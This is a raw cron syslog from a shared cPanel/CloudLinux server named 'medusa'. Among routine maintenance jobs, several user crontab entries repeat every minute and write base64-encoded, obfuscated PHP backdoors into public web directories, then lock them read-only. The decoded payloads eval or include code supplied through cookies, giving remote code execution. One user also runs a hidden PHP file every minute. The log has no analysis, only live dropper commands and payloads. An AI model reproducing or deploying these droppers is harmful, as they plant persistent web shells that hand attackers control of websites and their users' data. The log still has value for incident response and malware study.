Jun  7 11:20:02 medusa CROND[10330]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 11:20:02 medusa CROND[10332]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 11:20:02 medusa CROND[10338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:20:02 medusa CROND[10341]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:20:02 medusa CROND[10343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:20:02 medusa CROND[10345]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:20:02 medusa CROND[10346]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:20:02 medusa CROND[10344]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 11:20:02 medusa CROND[10351]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 11:20:02 medusa CROND[10362]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:20:02 medusa CROND[10349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 11:20:02 medusa CROND[10364]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:20:02 medusa CROND[10367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:20:02 medusa CROND[10363]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:20:02 medusa CROND[10369]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:21:02 medusa CROND[12245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:21:02 medusa CROND[12246]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:21:02 medusa CROND[12247]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:21:02 medusa CROND[12248]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 11:21:02 medusa CROND[12249]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:21:02 medusa CROND[12250]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:21:02 medusa CROND[12252]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:21:02 medusa CROND[12256]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:21:02 medusa CROND[12257]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:21:02 medusa CROND[12258]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:21:02 medusa CROND[12254]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 11:21:02 medusa CROND[12260]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:21:02 medusa CROND[12262]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:21:02 medusa CROND[12270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:22:02 medusa CROND[13856]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:22:02 medusa CROND[13863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:22:02 medusa CROND[13871]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:22:02 medusa CROND[13872]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:22:02 medusa CROND[13873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:22:02 medusa CROND[13874]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:22:02 medusa CROND[13878]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:22:02 medusa CROND[13879]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:22:02 medusa CROND[13880]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:22:02 medusa CROND[13881]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
